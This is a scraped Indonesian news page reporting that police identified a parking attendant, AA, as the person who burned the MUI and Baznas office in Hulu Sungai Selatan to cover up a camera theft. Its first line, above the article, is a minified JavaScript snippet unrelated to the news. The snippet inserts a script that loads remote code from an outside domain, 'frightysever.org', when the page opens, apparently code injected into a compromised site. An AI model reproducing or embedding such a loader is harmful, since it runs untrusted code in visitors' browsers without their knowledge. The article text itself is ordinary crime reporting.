(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Terungkap, Ini Motif AA Bakar Kantor MUI dan Baznas HSS


KANDANGAN, Dalang pembakaran Kantor MUI Hulu Sungai Selatan (HSS) dan Badan Amil Zakat Nasional (Baznas) HSS akhirnya terungkap. Peristiwas kebakaran di Jalan Pemuda Kecamatan Kandangan, HSS itu sebelumnya diduga akibat arus pendek listrik, yang terjadi pada Rabu (21/2) dini hari sekitar pukul 02.30 Wita. Selain kantor bersama itu, dua ruang kelas TK Pertiwi juga ikut terbakar. Sebelumnya diduga konsleting listrik oleh Polres Hulu Sungai Selatan

Akhirnya, terungkap sudah siapa pelaku pencurian sekaligus pembakaran Kantor MUI Kabupaten HSS yakni AA  (26) warga Gg Pulau Sepakat, Kelurahan Kandangan Kota, Kecamatan Kandangan, Kabupaten HSS. AA merupakan pelaku tunggal ditangkap Unit Jatanras Sat Reskrim Polres HSS Selasa (27/ 2) di kawasan parkir taman Palindangan Sehati Kabupaten HSS tanpa perlawanan.

Dalam rekontruksi yang digelar Rabu (7/3) pagi, dipimpin langsung oleh Kapolres HSS AKBP Rahmat Budi Handoko SIK, pelaku memperagakan sekitar 35 adegan.

“Kejadian ini murni tindak pidana, tidak ada unsur lain. Pelaku mencuri kamera dulu baru melakukan pembakaran terhadap kantor. Alasan pelaku membakar untuk menghilangkan jejak perbuatannya tersebut,” tutur Kapolres HSS AKBP Rahmat Budi Handoko SIK.

Menurut keterangan pelaku kepada petugas, awalnya AA hanya ingin mencuri di kantor MUI dan Baznas HSS. Namun karena panik dan ingin menghilangkan jejak, ia nekat melakukan aksi pembakaran.

Kapolres HSS menambahkan, pelaku awalnya memang hanya ingin mencuri. Namun ternyata pelaku ingin menghilangkan jejak. Pihaknya menegaskan bahwa tujuan utama pelaku adalah melakukan pencurian. Selain itu pihak Polres HSS menegaskan rumor atau isu bahwa MUI dibakar orang yang tidak dikenal dan ada unsur SARA tidak benar.

Akibat perbuatannya AA terancam melanggar pasal 363 KUHP dengan ancaman 7 tahun penjara dan Pasal 187 KUHP dengan ancaman 12 tahun penjara. Pelaku yang sehari-hari bekerja sebagai tukang parkir tersebut sekarang mendekam di Rutan Polres HSS guna mempertanggungjawabkan perbuatannya. (ammar)

Reporter: Ammar
Editor: Abi Zharrin Al Ghifari

Desy Arfianty

Recent Posts

Wabup Kapuas Kunjungi Kecamatan Kapuas Hulu dan Mandau Talawang

KANALKALIMANTAN.COM, KUALA KAPUAS - Wakil Bupati Kapuas Dodo bersama jajaran menempuh jalur sungai dan darat… Read More

9 jam ago

Unjuk Rasa di HSU, GOSTI: Berikan Jabatan ke Orang yang Bertanggung Jawab

‎KANALKALIMANTAN.COM, AMUNTAI - Pemerintah Kabupaten (Pemkab) Hulu Sungai Utara (HSU) mendapatkan dukungan menjalankan pemerintahan bersih… Read More

10 jam ago

Pesan Edukatif Street Art Dakwah South Borneo Lewat Mural dan Grafiti

KANALKALIMANTAN.COM, BANJARMASIN - Street Art Dakwah South Borneo memanfaatkan seni mural dan grafiti sebagai alat… Read More

11 jam ago

Unjuk Rasa di Halaman DPRD HSU

KANALKALIMANTAN.COM, AMUNTAI – Massa yang tergabung dalam Lembaga Swadaya Masyarakat (LSM) Gerakan Organisasi Sosial Terintegritas… Read More

11 jam ago

Wabup Balangan Serahkan Beasiswa Program KBP ke 1.511 Pelajar

KANALKALIMANTAN.COM, PARINGIN - Wakil Bupati (Wabup) Balangan, Akhmad Fauzi, menyerahkan beasiswa program Kartu Balangan Pintar… Read More

12 jam ago

DKISP Banjar Gelar Penandatanganan Pakta Integritas

KANALKALIMANTAN.COM, MARTAPURA – Kepala Dinas Komunikasi, Informatika, Statistik, dan Persandian (DKISP) Kabupaten Banjar HM Aidil… Read More

12 jam ago

This website uses cookies.